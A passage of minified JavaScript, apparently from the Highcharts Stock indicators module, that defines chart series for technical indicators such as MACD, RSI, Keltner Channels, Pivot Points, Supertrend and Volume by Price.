0;c=a(c.xAxis);var u=[],p=[],y,m,q,f,t,D,J;if(r.length<=e||!n(h[0])||4!==h[0].length)return!1;y=r[0]-e*c;for(D=0;D<e;D++)p.push(y+D*c);for(D=0;D<l;D++)D>=d&&(q=h.slice(D-d,D),q=k(q),q=(q.high+q.low)/2),D>=e&&(f=h.slice(D-e,D),f=k(f),f=(f.high+f.low)/2,J=(q+f)/2),D>=g&&(t=h.slice(D-g,D),t=k(t),t=(t.high+t.low)/2),y=h[D][3],m=r[D],u[D]===b&&(u[D]=[]),u[D+e]===b&&(u[D+e]=[]),u[D+e][0]=q,u[D+e][1]=f,u[D+e][2]=b,u[D][2]=y,D<=e&&(u[D+e][3]=b,u[D+e][4]=b),u[D+2*e]===b&&(u[D+2*e]=[]),u[D+2*e][3]=J,u[D+2*
e][4]=t,p.push(m);for(D=1;D<=e;D++)p.push(m+D*c);return{values:u,xData:p,yData:u}}})});t(f,"indicators/keltner-channels.src.js",[f["parts/Globals.js"],f["mixins/multipe-lines.js"]],function(d,m){var q=d.seriesTypes.sma,k=d.seriesTypes.ema,a=d.seriesTypes.atr,c=d.merge,e=d.correctFloat;d.seriesType("keltnerchannels","sma",{params:{period:20,periodATR:10,multiplierATR:2},bottomLine:{styles:{lineWidth:1,lineColor:void 0}},topLine:{styles:{lineWidth:1,lineColor:void 0}},tooltip:{pointFormat:'\x3cspan style\x3d"color:{point.color}"\x3e\u25cf\x3c/span\x3e\x3cb\x3e {series.name}\x3c/b\x3e\x3cbr/\x3eUpper Channel: {point.top}\x3cbr/\x3eEMA({series.options.params.period}): {point.middle}\x3cbr/\x3eLower Channel: {point.bottom}\x3cbr/\x3e'},
marker:{enabled:!1},dataGrouping:{approximation:"averages"},lineWidth:1},c(m,{pointArrayMap:["top","middle","bottom"],pointValKey:"middle",nameBase:"Keltner Channels",nameComponents:["period","periodATR","multiplierATR"],linesApiNames:["topLine","bottomLine"],requiredIndicators:["ema","atr"],init:function(){q.prototype.init.apply(this,arguments);this.options=c({topLine:{styles:{lineColor:this.color}},bottomLine:{styles:{lineColor:this.color}}},this.options)},getValues:function(b,c){var g=c.period,
d=c.periodATR,n=c.multiplierATR,p=b.yData,p=p?p.length:0,l=[],h,y,m;c=k.prototype.getValues(b,{period:g,index:c.index});var q=a.prototype.getValues(b,{period:d}),f=[],t=[],v;if(p<g)return!1;for(v=g;v<=p;v++)h=c.values[v-g],y=q.values[v-d],m=h[0],b=e(h[1]+n*y[1]),y=e(h[1]-n*y[1]),h=h[1],l.push([m,b,h,y]),f.push(m),t.push([b,h,y]);return{values:l,xData:f,yData:t}}}))});t(f,"indicators/macd.src.js",[f["parts/Globals.js"]],function(d){var m=d.seriesType,q=d.merge,k=d.defined,a=d.seriesTypes.sma,c=d.seriesTypes.ema,
e=d.correctFloat;m("macd","sma",{params:{shortPeriod:12,longPeriod:26,signalPeriod:9,period:26},signalLine:{zones:[],styles:{lineWidth:1,lineColor:void 0}},macdLine:{zones:[],styles:{lineWidth:1,lineColor:void 0}},threshold:0,groupPadding:.1,pointPadding:.1,states:{hover:{halo:{size:0}}},tooltip:{pointFormat:'\x3cspan style\x3d"color:{point.color}"\x3e\u25cf\x3c/span\x3e \x3cb\x3e {series.name}\x3c/b\x3e\x3cbr/\x3eValue: {point.MACD}\x3cbr/\x3eSignal: {point.signal}\x3cbr/\x3eHistogram: {point.y}\x3cbr/\x3e'},
dataGrouping:{approximation:"averages"},minPointLength:0},{nameComponents:["longPeriod","shortPeriod","signalPeriod"],requiredIndicators:["ema"],pointArrayMap:["y","signal","MACD"],parallelArrays:["x","y","signal","MACD"],pointValKey:"y",markerAttribs:d.noop,getColumnMetrics:d.seriesTypes.column.prototype.getColumnMetrics,crispCol:d.seriesTypes.column.prototype.crispCol,init:function(){a.prototype.init.apply(this,arguments);this.options&&(this.options=q({signalLine:{styles:{lineColor:this.color}},
macdLine:{styles:{color:this.color}}},this.options),this.macdZones={zones:this.options.macdLine.zones,startIndex:0},this.signalZones={zones:this.macdZones.zones.concat(this.options.signalLine.zones),startIndex:this.macdZones.zones.length},this.resetZones=!0)},toYData:function(b){return[b.y,b.signal,b.MACD]},translate:function(){var b=this,c=["plotSignal","plotMACD"];d.seriesTypes.column.prototype.translate.apply(b);b.points.forEach(function(a){[a.signal,a.MACD].forEach(function(e,g){null!==e&&(a[c[g]]=
b.yAxis.toPixels(e,!0))})})},destroy:function(){this.graph=null;this.graphmacd=this.graphmacd&&this.graphmacd.destroy();this.graphsignal=this.graphsignal&&this.graphsignal.destroy();a.prototype.destroy.apply(this,arguments)},drawPoints:d.seriesTypes.column.prototype.drawPoints,drawGraph:function(){for(var b=this,c=b.points,e=c.length,d=b.options,n=b.zones,p={options:{gapSize:d.gapSize}},l=[[],[]],h;e--;)h=c[e],k(h.plotMACD)&&l[0].push({plotX:h.plotX,plotY:h.plotMACD,isNull:!k(h.plotMACD)}),k(h.plotSignal)&&
l[1].push({plotX:h.plotX,plotY:h.plotSignal,isNull:!k(h.plotMACD)});["macd","signal"].forEach(function(c,e){b.points=l[e];b.options=q(d[c+"Line"].styles,p);b.graph=b["graph"+c];b.currentLineZone=c+"Zones";b.zones=b[b.currentLineZone].zones;a.prototype.drawGraph.call(b);b["graph"+c]=b.graph});b.points=c;b.options=d;b.zones=n;b.currentLineZone=null},getZonesGraphs:function(b){var c=a.prototype.getZonesGraphs.call(this,b),e=c;this.currentLineZone&&(e=c.splice(this[this.currentLineZone].startIndex+1),
e.length?e.splice(0,0,b[0]):e=[b[0]]);return e},applyZones:function(){var b=this.zones;this.zones=this.signalZones.zones;a.prototype.applyZones.call(this);this.options.macdLine.zones.length&&this.graphmacd.hide();this.zones=b},getValues:function(b,a){var g=0,d=[],n=[],p=[],l,h;if(b.xData.length<a.longPeriod+a.signalPeriod)return!1;l=c.prototype.getValues(b,{period:a.shortPeriod});h=c.prototype.getValues(b,{period:a.longPeriod});l=l.values;h=h.values;for(b=1;b<=l.length;b++)k(h[b-1])&&k(h[b-1][1])&&
k(l[b+a.shortPeriod+1])&&k(l[b+a.shortPeriod+1][0])&&d.push([l[b+a.shortPeriod+1][0],0,null,l[b+a.shortPeriod+1][1]-h[b-1][1]]);for(b=0;b<d.length;b++)n.push(d[b][0]),p.push([0,null,d[b][3]]);a=c.prototype.getValues({xData:n,yData:p},{period:a.signalPeriod,index:2});a=a.values;for(b=0;b<d.length;b++)d[b][0]>=a[0][0]&&(d[b][2]=a[g][1],p[b]=[0,a[g][1],d[b][3]],null===d[b][3]?(d[b][1]=0,p[b][0]=0):(d[b][1]=e(d[b][3]-a[g][1]),p[b][0]=e(d[b][3]-a[g][1])),g++);return{values:d,xData:n,yData:p}}})});t(f,
"indicators/mfi.src.js",[f["parts/Globals.js"]],function(d){function m(a){return a.reduce(function(c,a){return c+a})}function q(a){return(a[1]+a[2]+a[3])/3}var k=d.isArray;d.seriesType("mfi","sma",{params:{period:14,volumeSeriesID:"volume",decimals:4}},{nameBase:"Money Flow Index",getValues:function(a,c){var e=c.period,b=a.xData,g=a.yData,r=g?g.length:0,u=c.decimals,n=1,p=a.chart.get(c.volumeSeriesID),l=p&&p.yData,h=[],y=[],f=[],C=[],w=[];if(!p)return d.error("Series "+c.volumeSeriesID+" not found! Check `volumeSeriesID`.",
!0,a.chart);if(b.length<=e||!k(g[0])||4!==g[0].length||!l)return!1;for(a=q(g[n]);n<e+1;)c=a,a=q(g[n]),c=a>=c,p=a*l[n],C.push(c?p:0),w.push(c?0:p),n++;for(e=n-1;e<r;e++)e>n-1&&(C.shift(),w.shift(),c=a,a=q(g[e]),c=a>c,p=a*l[e],C.push(c?p:0),w.push(c?0:p)),c=m(w),p=m(C),c=p/c,c=parseFloat((100-100/(1+c)).toFixed(u)),h.push([b[e],c]),y.push(b[e]),f.push(c);return{values:h,xData:y,yData:f}}})});t(f,"indicators/momentum.src.js",[f["parts/Globals.js"]],function(d){function m(d,a,c,e,b){c=c[e-1][3]-c[e-b-
1][3];a=a[e-1];d.shift();return[a,c]}var q=d.isArray;d=d.seriesType;d("momentum","sma",{params:{period:14}},{nameBase:"Momentum",getValues:function(d,a){a=a.period;var c=d.xData,e=(d=d.yData)?d.length:0,b=c[0],g=[],r=[],k=[],n,p;if(c.length<=a||!q(d[0]))return!1;n=[[b,d[0][3]]];for(b=a+1;b<e;b++)p=m(n,c,d,b,a,void 0),g.push(p),r.push(p[0]),k.push(p[1]);p=m(n,c,d,b,a,void 0);g.push(p);r.push(p[0]);k.push(p[1]);return{values:g,xData:r,yData:k}}})});t(f,"indicators/natr.src.js",[f["parts/Globals.js"]],
function(d){var m=d.seriesTypes.atr;d.seriesType("natr","sma",{tooltip:{valueSuffix:"%"}},{requiredIndicators:["atr"],getValues:function(d,k){for(var a=m.prototype.getValues.apply(this,arguments),c=a.values.length,e=k.period-1,b=d.yData,g=0;g<c;g++)a.yData[g]=a.values[g][1]/b[e][3]*100,a.values[g][1]=a.yData[g],e++;return a}})});t(f,"indicators/pivot-points.src.js",[f["parts/Globals.js"]],function(d){function m(c,e){var b=c.series.pointArrayMap,d=b.length;for(a.prototype.pointClass.prototype[e].call(c);d--;)e=
"dataLabel"+b[d],c[e]&&c[e].element&&c[e].destroy(),c[e]=null}var q=d.defined,k=d.isArray,a=d.seriesTypes.sma;d.seriesType("pivotpoints","sma",{params:{period:28,algorithm:"standard"},marker:{enabled:!1},enableMouseTracking:!1,dataLabels:{enabled:!0,format:"{point.pivotLine}"},dataGrouping:{approximation:"averages"}},{nameBase:"Pivot Points",pointArrayMap:"R4 R3 R2 R1 P S1 S2 S3 S4".split(" "),pointValKey:"P",toYData:function(c){return[c.P]},translate:function(){var c=this;a.prototype.translate.apply(c);
c.points.forEach(function(a){c.pointArrayMap.forEach(function(b){q(a[b])&&(a["plot"+b]=c.yAxis.toPixels(a[b],!0))})});c.plotEndPoint=c.xAxis.toPixels(c.endPoint,!0)},getGraphPath:function(c){for(var e=this,b=c.length,d=[[],[],[],[],[],[],[],[],[]],r=[],k=e.plotEndPoint,n=e.pointArrayMap.length,p,l,h;b--;){l=c[b];for(h=0;h<n;h++)p=e.pointArrayMap[h],q(l[p])&&d[h].push({plotX:l.plotX,plotY:l["plot"+p],isNull:!1},{plotX:k,plotY:l["plot"+p],isNull:!1},{plotX:k,plotY:null,isNull:!0});k=l.plotX}d.forEach(function(b){r=
r.concat(a.prototype.getGraphPath.call(e,b))});return r},drawDataLabels:function(){var c=this,e=c.pointArrayMap,b,d,r,k;c.options.dataLabels.enabled&&(d=c.points.length,e.concat([!1]).forEach(function(g,p){for(k=d;k--;)r=c.points[k],g?(r.y=r[g],r.pivotLine=g,r.plotY=r["plot"+g],b=r["dataLabel"+g],p&&(r["dataLabel"+e[p-1]]=r.dataLabel),r.dataLabels||(r.dataLabels=[]),r.dataLabels[0]=r.dataLabel=b=b&&b.element?b:null):r["dataLabel"+e[p-1]]=r.dataLabel;a.prototype.drawDataLabels.apply(c,arguments)}))},
getValues:function(c,a){var b=a.period,e=c.xData,d=(c=c.yData)?c.length:0;a=this[a.algorithm+"Placement"];var u=[],n,p=[],l=[],h,m,q,f;if(e.length<b||!k(c[0])||4!==c[0].length)return!1;for(f=b+1;f<=d+b;f+=b)m=e.slice(f-b-1,f),q=c.slice(f-b-1,f),h=m.length,n=m[h-1],q=this.getPivotAndHLC(q),q=a(q),q=u.push([n].concat(q)),p.push(n),l.push(u[q-1].slice(1));this.endPoint=m[0]+(n-m[0])/h*b;return{values:u,xData:p,yData:l}},getPivotAndHLC:function(c){var a=-Infinity,b=Infinity,d=c[c.length-1][3];c.forEach(function(c){a=
Math.max(a,c[1]);b=Math.min(b,c[2])});return[(a+b+d)/3,a,b,d]},standardPlacement:function(c){var a=c[1]-c[2];return[null,null,c[0]+a,2*c[0]-c[2],c[0],2*c[0]-c[1],c[0]-a,null,null]},camarillaPlacement:function(c){var a=c[1]-c[2];return[c[3]+1.5*a,c[3]+1.25*a,c[3]+1.1666*a,c[3]+1.0833*a,c[0],c[3]-1.0833*a,c[3]-1.1666*a,c[3]-1.25*a,c[3]-1.5*a]},fibonacciPlacement:function(a){var c=a[1]-a[2];return[null,a[0]+c,a[0]+.618*c,a[0]+.382*c,a[0],a[0]-.382*c,a[0]-.618*c,a[0]-c,null]}},{destroyElements:function(){m(this,
"destroyElements")},destroy:function(){m(this,"destroyElements")}})});t(f,"indicators/ppo.src.js",[f["parts/Globals.js"],f["mixins/indicator-required.js"]],function(d,m){var q=d.seriesTypes.ema,k=d.error,a=d.correctFloat;d.seriesType("ppo","ema",{params:{periods:[12,26]}},{nameBase:"PPO",nameComponents:["periods"],init:function(){var a=arguments,d=this;m.isParentLoaded(q,"ema",d.type,function(b){b.prototype.init.apply(d,a)})},getValues:function(c,d){var b=d.periods,e=d.index;d=[];var r=[],u=[],n,
p;if(2!==b.length||b[1]<=b[0])return k('Error: "PPO requires two periods. Notice, first period should be lower than the second one."'),!1;n=q.prototype.getValues.call(this,c,{index:e,period:b[0]});c=q.prototype.getValues.call(this,c,{index:e,period:b[1]});if(!n||!c)return!1;b=b[1]-b[0];for(p=0;p<c.yData.length;p++)e=a((n.yData[p+b]-c.yData[p])/c.yData[p]*100),d.push([c.xData[p],e]),r.push(c.xData[p]),u.push(e);return{values:d,xData:r,yData:u}}})});t(f,"mixins/reduce-array.js",[f["parts/Globals.js"]],
function(d){var m=d.reduce;return{minInArray:function(d,k){return m(d,function(a,c){return Math.min(a,c[k])},Number.MAX_VALUE)},maxInArray:function(d,k){return m(d,function(a,c){return Math.max(a,c[k])},-Number.MAX_VALUE)},getArrayExtremes:function(d,k,a){return m(d,function(c,d){return[Math.min(c[0],d[k]),Math.max(c[1],d[a])]},[Number.MAX_VALUE,-Number.MAX_VALUE])}}});t(f,"indicators/price-channel.src.js",[f["parts/Globals.js"],f["mixins/reduce-array.js"],f["mixins/multipe-lines.js"]],function(d,
m,f){var k=m.getArrayExtremes;m=d.merge;d.seriesType("pc","sma",{params:{period:20},lineWidth:1,topLine:{styles:{lineColor:"#90ed7d",lineWidth:1}},bottomLine:{styles:{lineColor:"#f45b5b",lineWidth:1}},dataGrouping:{approximation:"averages"}},m(f,{pointArrayMap:["top","middle","bottom"],pointValKey:"middle",nameBase:"Price Channel",nameComponents:["period"],linesApiNames:["topLine","bottomLine"],getValues:function(a,c){c=c.period;var d=a.xData,b=(a=a.yData)?a.length:0,g=[],r,u,n,p,l=[],h=[],m;if(b<
c)return!1;for(m=c;m<=b;m++)p=d[m-1],u=a.slice(m-c,m),r=k(u,2,1),u=r[1],n=r[0],r=(u+n)/2,g.push([p,u,r,n]),l.push(p),h.push([u,r,n]);return{values:g,xData:l,yData:h}}}))});t(f,"indicators/price-envelopes.src.js",[f["parts/Globals.js"]],function(d){var m=d.merge,f=d.isArray,k=d.seriesTypes.sma;d.seriesType("priceenvelopes","sma",{marker:{enabled:!1},tooltip:{pointFormat:'\x3cspan style\x3d"color:{point.color}"\x3e\u25cf\x3c/span\x3e\x3cb\x3e {series.name}\x3c/b\x3e\x3cbr/\x3eTop: {point.top}\x3cbr/\x3eMiddle: {point.middle}\x3cbr/\x3eBottom: {point.bottom}\x3cbr/\x3e'},
params:{period:20,topBand:.1,bottomBand:.1},bottomLine:{styles:{lineWidth:1,lineColor:void 0}},topLine:{styles:{lineWidth:1}},dataGrouping:{approximation:"averages"}},{nameComponents:["period","topBand","bottomBand"],nameBase:"Price envelopes",pointArrayMap:["top","middle","bottom"],parallelArrays:["x","y","top","bottom"],pointValKey:"middle",init:function(){k.prototype.init.apply(this,arguments);this.options=m({topLine:{styles:{lineColor:this.color}},bottomLine:{styles:{lineColor:this.color}}},this.options)},
toYData:function(a){return[a.top,a.middle,a.bottom]},translate:function(){var a=this,c=["plotTop","plotMiddle","plotBottom"];k.prototype.translate.apply(a);a.points.forEach(function(d){[d.top,d.middle,d.bottom].forEach(function(b,e){null!==b&&(d[c[e]]=a.yAxis.toPixels(b,!0))})})},drawGraph:function(){for(var a=this,c=a.points,d=c.length,b=a.options,g=a.graph,r={options:{gapSize:b.gapSize}},u=[[],[]],n;d--;)n=c[d],u[0].push({plotX:n.plotX,plotY:n.plotTop,isNull:n.isNull}),u[1].push({plotX:n.plotX,
plotY:n.plotBottom,isNull:n.isNull});["topLine","bottomLine"].forEach(function(c,d){a.points=u[d];a.options=m(b[c].styles,r);a.graph=a["graph"+c];k.prototype.drawGraph.call(a);a["graph"+c]=a.graph});a.points=c;a.options=b;a.graph=g;k.prototype.drawGraph.call(a)},getValues:function(a,c){var d=c.period,b=c.topBand,g=c.bottomBand,r=a.xData,u=(a=a.yData)?a.length:0,n=[],p,l,h,m,q=[],C=[],w;if(r.length<d||!f(a[0])||4!==a[0].length)return!1;for(w=d;w<=u;w++)m=r.slice(w-d,w),p=a.slice(w-d,w),p=k.prototype.getValues.call(this,
{xData:m,yData:p},c),m=p.xData[0],p=p.yData[0],l=p*(1+b),h=p*(1-g),n.push([m,l,p,h]),q.push(m),C.push([l,p,h]);return{values:n,xData:q,yData:C}}})});t(f,"indicators/psar.src.js",[f["parts/Globals.js"]],function(d){d.seriesType("psar","sma",{lineWidth:0,marker:{enabled:!0},states:{hover:{lineWidthPlus:0}},params:{initialAccelerationFactor:.02,maxAccelerationFactor:.2,increment:.02,index:2,decimals:4}},{nameComponents:!1,getValues:function(d,f){var k=d.xData;d=d.yData;var a=d[0][1],c=f.maxAccelerationFactor,
e=f.increment,b=f.initialAccelerationFactor,g=d[0][2],r=f.decimals,u=f.index,n=[],p=[],l=[],h=1,m,q,C,w,t,v,x,A;if(u>=d.length)return!1;for(A=0;A<u;A++)a=Math.max(d[A][1],a),g=Math.min(d[A][2],parseFloat(g.toFixed(r)));m=d[A][1]>g?1:-1;f=f.initialAccelerationFactor;q=f*(a-g);n.push([k[u],g]);p.push(k[u]);l.push(parseFloat(g.toFixed(r)));for(A=u+1;A<d.length;A++)u=d[A-1][2],w=d[A-2][2],t=d[A-1][1],v=d[A-2][1],C=d[A][1],x=d[A][2],null!==w&&null!==v&&null!==u&&null!==t&&null!==C&&null!==x&&(g=m===h?
1===m?g+q<Math.min(w,u)?g+q:Math.min(w,u):g+q>Math.max(v,t)?g+q:Math.max(v,t):a,u=1===m?C>a?C:a:x<a?x:a,C=1===h&&x>g||-1===h&&C>g?1:-1,h=C,q=u,x=e,w=c,t=b,f=h===m?1===h&&q>a?f===w?w:parseFloat((f+x).toFixed(2)):-1===h&&q<a?f===w?w:parseFloat((f+x).toFixed(2)):f:t,a=u-g,q=f*a,n.push([k[A],parseFloat(g.toFixed(r))]),p.push(k[A]),l.push(parseFloat(g.toFixed(r))),h=m,m=C,a=u);return{values:n,xData:p,yData:l}}})});t(f,"indicators/roc.src.js",[f["parts/Globals.js"]],function(d){var m=d.seriesType,f=d.isArray;
m("roc","sma",{params:{index:3,period:9}},{nameBase:"Rate of Change",getValues:function(d,a){var c=a.period,e=d.xData,b=(d=d.yData)?d.length:0,g=[],r=[],k=[],n=-1,p;if(e.length<=c)return!1;f(d[0])&&(n=a.index);for(a=c;a<b;a++)p=0>n?(p=d[a-c])?(d[a]-p)/p*100:null:(p=d[a-c][n])?(d[a][n]-p)/p*100:null,p=[e[a],p],g.push(p),r.push(p[0]),k.push(p[1]);return{values:g,xData:r,yData:k}}})});t(f,"indicators/rsi.src.js",[f["parts/Globals.js"]],function(d){var f=d.isArray;d.seriesType("rsi","sma",{params:{period:14,
decimals:4}},{getValues:function(d,k){var a=k.period,c=d.xData,e=(d=d.yData)?d.length:0;k=k.decimals;var b=1,g=[],r=[],u=[],n=0,p=0,l,h,m;if(c.length<a||!f(d[0])||4!==d[0].length)return!1;for(;b<a;)l=parseFloat((d[b][3]-d[b-1][3]).toFixed(k)),0<l?n+=l:p+=Math.abs(l),b++;h=parseFloat((n/(a-1)).toFixed(k));for(m=parseFloat((p/(a-1)).toFixed(k));b<e;b++)l=parseFloat((d[b][3]-d[b-1][3]).toFixed(k)),0<l?(n=l,p=0):(n=0,p=Math.abs(l)),h=parseFloat(((h*(a-1)+n)/a).toFixed(k)),m=parseFloat(((m*(a-1)+p)/a).toFixed(k)),
n=0===m?100:0===h?0:parseFloat((100-100/(1+h/m)).toFixed(k)),g.push([c[b],n]),r.push(c[b]),u.push(n);return{values:g,xData:r,yData:u}}})});t(f,"indicators/stochastic.src.js",[f["parts/Globals.js"],f["mixins/reduce-array.js"],f["mixins/multipe-lines.js"]],function(d,m,f){var k=d.merge,a=d.isArray,c=d.seriesTypes.sma,e=m.getArrayExtremes;d.seriesType("stochastic","sma",{params:{periods:[14,3]},marker:{enabled:!1},tooltip:{pointFormat:'\x3cspan style\x3d"color:{point.color}"\x3e\u25cf\x3c/span\x3e\x3cb\x3e {series.name}\x3c/b\x3e\x3cbr/\x3e%K: {point.y}\x3cbr/\x3e%D: {point.smoothed}\x3cbr/\x3e'},
smoothedLine:{styles:{lineWidth:1,lineColor:void 0}},dataGrouping:{approximation:"averages"}},d.merge(f,{nameComponents:["periods"],nameBase:"Stochastic",pointArrayMap:["y","smoothed"],parallelArrays:["x","y","smoothed"],pointValKey:"y",linesApiNames:["smoothedLine"],init:function(){c.prototype.init.apply(this,arguments);this.options=k({smoothedLine:{styles:{lineColor:this.color}}},this.options)},getValues:function(b,d){var g=d.periods[0];d=d.periods[1];var k=b.xData,n=(b=b.yData)?b.length:0,p=[],
l=[],h=[],f,m,q=null,w,t;if(n<g||!a(b[0])||4!==b[0].length)return!1;for(t=g-1;t<n;t++)f=b.slice(t-g+1,t+1),w=e(f,2,1),m=w[0],f=b[t][3]-m,m=w[1]-m,f=f/m*100,l.push(k[t]),h.push([f,null]),t>=g-1+(d-1)&&(q=c.prototype.getValues.call(this,{xData:l.slice(-d),yData:h.slice(-d)},{period:d}),q=q.yData[0]),p.push([k[t],f,q]),h[h.length-1][1]=q;return{values:p,xData:l,yData:h}}}))});t(f,"indicators/supertrend.src.js",[f["parts/Globals.js"]],function(d){function f(b,a,c){return{index:a,close:b.yData[a][c],x:b.xData[a]}}
var q=d.seriesTypes.atr,k=d.seriesTypes.sma,a=d.isArray,c=d.merge,e=d.correctFloat;d.seriesType("supertrend","sma",{params:{multiplier:3,period:10},risingTrendColor:"#06B535",fallingTrendColor:"#F21313",changeTrendLine:{styles:{lineWidth:1,lineColor:"#333333",dashStyle:"LongDash"}}},{nameBase:"Supertrend",nameComponents:["multiplier","period"],requiredIndicators:["atr"],init:function(){var b;k.prototype.init.apply(this,arguments);b=this.options;b.cropThreshold=this.linkedParent.options.cropThreshold-
(b.params.period-1)},drawGraph:function(){for(var b=this,a=b.options,e=b.linkedParent,u=e?e.points:[],n=b.points,p=b.graph,l=n.length,h=u.length-l,h=0<h?h:0,m={options:{gapSize:a.gapSize}},q={top:[],bottom:[],intersect:[]},t={top:{styles:{lineWidth:a.lineWidth,lineColor:a.fallingTrendColor,dashStyle:a.dashStyle}},bottom:{styles:{lineWidth:a.lineWidth,lineColor:a.risingTrendColor,dashStyle:a.dashStyle}},intersect:a.changeTrendLine},w,G,v,x,A,B,H,z;l--;)w=n[l],G=n[l-1],v=u[l-1+h],x=u[l-2+h],A=u[l+h],
B=u[l+h+1],H=w.options.color,z={x:w.x,plotX:w.plotX,plotY:w.plotY,isNull:!1},!x&&v&&e.yData[v.index-1]&&(x=f(e,v.index-1,3)),!B&&A&&e.yData[A.index+1]&&(B=f(e,A.index+1,3)),!v&&x&&e.yData[x.index+1]?v=f(e,x.index+1,3):!v&&A&&e.yData[A.index-1]&&(v=f(e,A.index-1,3)),w&&v&&A&&x&&w.x!==v.x&&(w.x===A.x?(x=v,v=A):w.x===x.x?(v=x,x={close:e.yData[v.index-1][3],x:e.xData[v.index-1]}):B&&w.x===B.x&&(v=B,x=A)),G&&x&&v?(A={x:G.x,plotX:G.plotX,plotY:G.plotY,isNull:!1},w.y>=v.close&&G.y>=x.close?(w.color=H||a.fallingTrendColor,
q.top.push(z)):w.y<v.close&&G.y<x.close?(w.color=H||a.risingTrendColor,q.bottom.push(z)):(q.intersect.push(z),q.intersect.push(A),q.intersect.push(c(A,{isNull:!0})),w.y>=v.close&&G.y<x.close?(w.color=H||a.fallingTrendColor,G.color=H||a.risingTrendColor,q.top.push(z),q.top.push(c(A,{isNull:!0}))):w.y<v.close&&G.y>=x.close&&(w.color=H||a.risingTrendColor,G.color=H||a.fallingTrendColor,q.bottom.push(z),q.bottom.push(c(A,{isNull:!0}))))):v&&(w.y>=v.close?(w.color=H||a.fallingTrendColor,q.top.push(z)):
(w.color=H||a.risingTrendColor,q.bottom.push(z)));d.objectEach(q,function(a,d){b.points=a;b.options=c(t[d].styles,m);b.graph=b["graph"+d+"Line"];k.prototype.drawGraph.call(b);b["graph"+d+"Line"]=b.graph});b.points=n;b.options=a;b.graph=p},getValues:function(b,c){var d=c.period;c=c.multiplier;var g=b.xData,k=b.yData,p=[],l=[],h=[],f=0===d?0:d-1,m,t=[],w=[],G,v,x,A,B,H,z;if(g.length<=d||!a(k[0])||4!==k[0].length||0>d)return!1;b=q.prototype.getValues.call(this,b,{period:d}).yData;for(z=0;z<b.length;z++){H=
k[f+z];B=k[f+z-1]||[];v=t[z-1];x=w[z-1];A=h[z-1];0===z&&(v=x=A=0);d=e((H[1]+H[2])/2+c*b[z]);m=e((H[1]+H[2])/2-c*b[z]);t[z]=d<v||B[3]>v?d:v;w[z]=m>x||B[3]<x?m:x;if(A===v&&H[3]<t[z]||A===x&&H[3]<w[z])G=t[z];else if(A===v&&H[3]>t[z]||A===x&&H[3]>w[z])G=w[z];p.push([g[f+z],G]);l.push(g[f+z]);h.push(G)}return{values:p,xData:l,yData:h}}})});t(f,"indicators/volume-by-price.src.js",[f["parts/Globals.js"]],function(d){var f=Math.abs,q=d.noop,k=d.addEvent,a=d.correctFloat,c=d.seriesType,e=d.seriesTypes.column.prototype;
c("vbp","sma",{params:{ranges:12,volumeSeriesID:"volume"},zoneLines:{enabled:!0,styles:{color:"#0A9AC9",dashStyle:"LongDash",lineWidth:1}},volumeDivision:{enabled:!0,styles:{positiveColor:"rgba(144, 237, 125, 0.8)",negativeColor:"rgba(244, 91, 91, 0.8)"}},animationLimit:1E3,enableMouseTracking:!1,pointPadding:0,zIndex:-1,crisp:!0,dataGrouping:{enabled:!1},dataLabels:{allowOverlap:!0,enabled:!0,format:"P: {point.volumePos:.2f} | N: {point.volumeNeg:.2f}",padding:0,style:{fontSize:"7px"},verticalAlign:"top"}},
{nameBase:"Volume by Price",bindTo:{series:!1,eventName:"afterSetExtremes"},calculateOn:"render",markerAttribs:q,drawGraph:q,getColumnMetrics:e.getColumnMetrics,crispCol:e.crispCol,init:function(b){var a,c;d.seriesTypes.sma.prototype.init.apply(this,arguments);a=this.options.params;c=this.linkedParent;a=b.get(a.volumeSeriesID);this.addCustomEvents(c,a);return this},addCustomEvents:function(b,a){function c(){d.chart.redraw();d.setData([]);d.zoneStarts=[];d.zoneLinesSVG&&(d.zoneLinesSVG.destroy(),delete d.zoneLinesSVG)}
var d=this;d.dataEventsToUnbind.push(k(b,"remove",function(){c()}));a&&d.dataEventsToUnbind.push(k(a,"remove",function(){c()}));return d},animate:function(b){var a=this,c={};d.svg&&!b&&(c.translateX=a.yAxis.pos,a.group.animate(c,d.extend(d.animObject(a.options.animation),{step:function(b,c){a.group.attr({scaleX:Math.max(.001,c.pos)})}})),a.animate=null)},drawPoints:function(){this.options.volumeDivision.enabled&&(this.posNegVolume(!0,!0),e.drawPoints.apply(this,arguments),this.posNegVolume(!1,!1));
e.drawPoints.apply(this,arguments)},posNegVolume:function(b,a){var c=a?["positive","negative"]:["negative","positive"],d=this.options.volumeDivision,e=this.points.length,g=[],l=[],h=0,k,f,m,q;b?(this.posWidths=g,this.negWidths=l):(g=this.posWidths,l=this.negWidths);for(;h<e;h++)q=this.points[h],q[c[0]+"Graphic"]=q.graphic,q.graphic=q[c[1]+"Graphic"],b&&(k=q.shapeArgs.width,f=this.priceZones[h],(m=f.wholeVolumeData)?(g.push(k/m*f.positiveVolumeData),l.push(k/m*f.negativeVolumeData)):(g.push(0),l.push(0))),
q.color=a?d.styles.positiveColor:d.styles.negativeColor,q.shapeArgs.width=a?this.posWidths[h]:this.negWidths[h],q.shapeArgs.x=a?q.shapeArgs.x:this.posWidths[h]},translate:function(){var b=this,c=b.options,k=b.chart,m=b.yAxis,n=m.min,p=b.options.zoneLines,l=b.priceZones,h=0,q,t,C,w,G,v,x,A,B,H;e.translate.apply(b);q=b.points;q.length&&(x=.5>c.pointPadding?c.pointPadding:.1,c=b.volumeDataArray,t=d.arrayMax(c),C=k.plotWidth/2,A=k.plotTop,w=f(m.toPixels(n)-m.toPixels(n+b.rangeStep)),G=f(m.toPixels(n)-
m.toPixels(n+b.rangeStep)),x&&(n=f(w*(1-2*x)),h=f((w-n)/2),w=f(n)),q.forEach(function(c,d){B=c.barX=c.plotX=0;H=c.plotY=m.toPixels(l[d].start)-A-(m.reversed?w-G:w)-h;v=a(C*l[d].wholeVolumeData/t);c.pointWidth=v;c.shapeArgs=b.crispCol.apply(b,[B,H,v,w]);c.volumeNeg=l[d].negativeVolumeData;c.volumePos=l[d].positiveVolumeData;c.volumeAll=l[d].wholeVolumeData}),p.enabled&&b.drawZones(k,m,b.zoneStarts,p.styles))},getValues:function(b,a){var c=b.processedXData,e=b.processedYData,g=this.chart,k=a.ranges,
